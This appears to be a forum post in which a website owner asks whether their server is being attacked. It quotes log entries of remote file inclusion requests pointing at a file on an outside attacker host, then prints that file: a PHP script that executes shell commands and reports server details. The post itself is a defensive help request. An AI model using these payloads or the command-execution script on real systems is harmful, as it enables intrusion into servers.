Am i being hacked and what are they doing?

 72.55.176.232 more info
,

vm-weblinux01.axialdev.net
Mozilla/3.0 (OS/2; U)
December 25, 2008 12:40:46
	
/golf-gift/golf-tickets//functions/anti-hack.php?ezt_root_path=http://vennom.t35.com/idfell.txt???
December 25, 2008 12:40:46
	
/golf-gift//functions/anti-hack.php?ezt_root_path=http://vennom.t35.com/idfell.txt???
December 25, 2008 12:40:46
	
//functions/anti-hack.php?ezt_root_path=http://vennom.t35.com/idfell.txt???
December 25, 2008 12:40:57
	
/golf-gift/golf-tickets//ezt/common.php?ezt_root_path=http://vennom.t35.com/idfell.txt???
December 25, 2008 12:40:57
	
//ezt/common.php?ezt_root_path=http://vennom.t35.com/idfell.txt???
December 25, 2008 12:40:57
	
/golf-gift//ezt/common.php?ezt_root_path=http://vennom.t35.com/idfell.txt???

<?php
//FeeLCoMz Response
$pwd1 =	@getcwd();
$un = @php_uname();
$os = @PHP_OS;
$id1 = ex("id");if (empty($id1)) {$id1 = @get_current_user();}
$sof1 =	@getenv("SERVER_SOFTWARE");
$php1 =	@phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = @gethostbyname($SERVER_ADDR);
$free1=	@diskfreespace($pwd1);
$all1= disk_total_space($pwd1);
$used =	ConvertBytes($all1-$free1);
$free =	ConvertBytes(@diskfreespace($pwd1));if (!$free) {$free = 0;}
$all = ConvertBytes(@disk_total_space($pwd1));if (!$all) {$all = 0;}
if (@is_writable($pwd1)) {$perm = "[W]";} else {$perm = "[R]";}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {$sf = "ON";} else {$sf = "OFF";}

echo "FeeLCoMz".$sf."<br>";
echo "uname -a:	$un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software:	$sof1<br>";
echo "srvip: $ip1<br>";
echo "srvname: $name1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all $perm<br>";

function ConvertBytes($number) {
  $len = strlen($number);
  if($len < 4) { return sprintf("%d b", $number); }
  if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); }
  if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); }
  return sprintf("%0.2f Gb", $number/1024/1024/1024);
}

function ex($cfe) {
  $res = '';
  if (!empty($cfe)) {
    if(function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("n",$res);
    } elseif(function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "NULL"; }
  }
  return $res;
}

exit;

?>